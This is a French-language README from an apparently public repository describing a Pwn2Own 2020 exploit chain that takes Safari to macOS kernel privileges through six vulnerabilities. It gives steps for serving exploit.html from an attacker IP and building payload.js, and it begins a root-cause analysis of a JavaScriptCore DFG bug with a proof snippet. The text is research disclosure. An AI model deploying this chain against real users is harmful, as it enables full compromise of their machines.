
Compromettre le noyau macOS via Safari en enchaînant six vulnérabilités
Ce dépôt contient les détails d'exploitation et techniques de notre soumission gagnante du Pwn2Own 2020 ciblant Apple Safari avec une élévation de privilèges du noyau pour macOS 10.15.3. Pour plus d'informations, vous pouvez également consulter nos slides du Blackhat USA 2020 et la vidéo. Ce dépôt inclut également notre vidéo de démonstration pour l'exploitation réussie.
2. Accédez au site Web avec l'IP du serveur attaquant avec Safari :```
http://[attacker_ip]/exploit.html
csrutil status, qui affichera disabled.Pour votre commodité, nous avons fourni un payload compilé, payload.js. Mais, si vous le
souhaitez, vous pouvez le construire vous-même. Notez que cela prendra beaucoup de temps
car nous construirons WebKit dans le cadre de notre chaîne d'exploitation. Il est à noter
que nous n'avons testé notre processus de construction que sur Mac OS.```shell
$ python3 -m pip install --user lief $ make
Détails techniques
-----------------
Pour réaliser cette exploitation, nous avons enchaîné les *six* vulnérabilités suivantes.
### 1. Exécution de code à distance dans Safari via une modélisation incorrecte des effets de bord de l'opérateur 'in' dans le compilateur DFG de JavaScriptCore
- Analyse de la cause racine
Dans JavaScriptCore, lorsqu'une propriété indexée est interrogée avec l'opérateur 'in',
le compilateur DFG suppose qu'elle est sans effet de bord à moins qu'un objet proxy
dans sa chaîne de prototypes ne puisse intercepter cette opération.
JavaScriptCore marque un objet pouvant intercepter cet accès à une propriété indexée
à l'aide du drapeau appelé 'MayHaveIndexedAccessors'. Ce drapeau est explicitement
marqué pour l'objet Proxy.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
Cependant, il existe un autre objet qui peut provoquer des effets secondaires :
JSHTMLEmbedElement qui implémente sa propre méthode getOwnPropertySlot(). Une
façon de déclencher des rappels JavaScript (c'est-à-dire des effets secondaires) avec
l'opérateur 'in' est d'utiliser l'élément <embed> avec le plugin PDF ; lorsqu'une
propriété est interrogée sur l'objet DOM de l'élément embed/object, il essaie de
charger le plugin sous-jacent et le gestionnaire d'événements DOMSubtreeModified
peut être appelé dans le cas du plugin PDF car il utilise la méthode appendChild sur
l'élément body.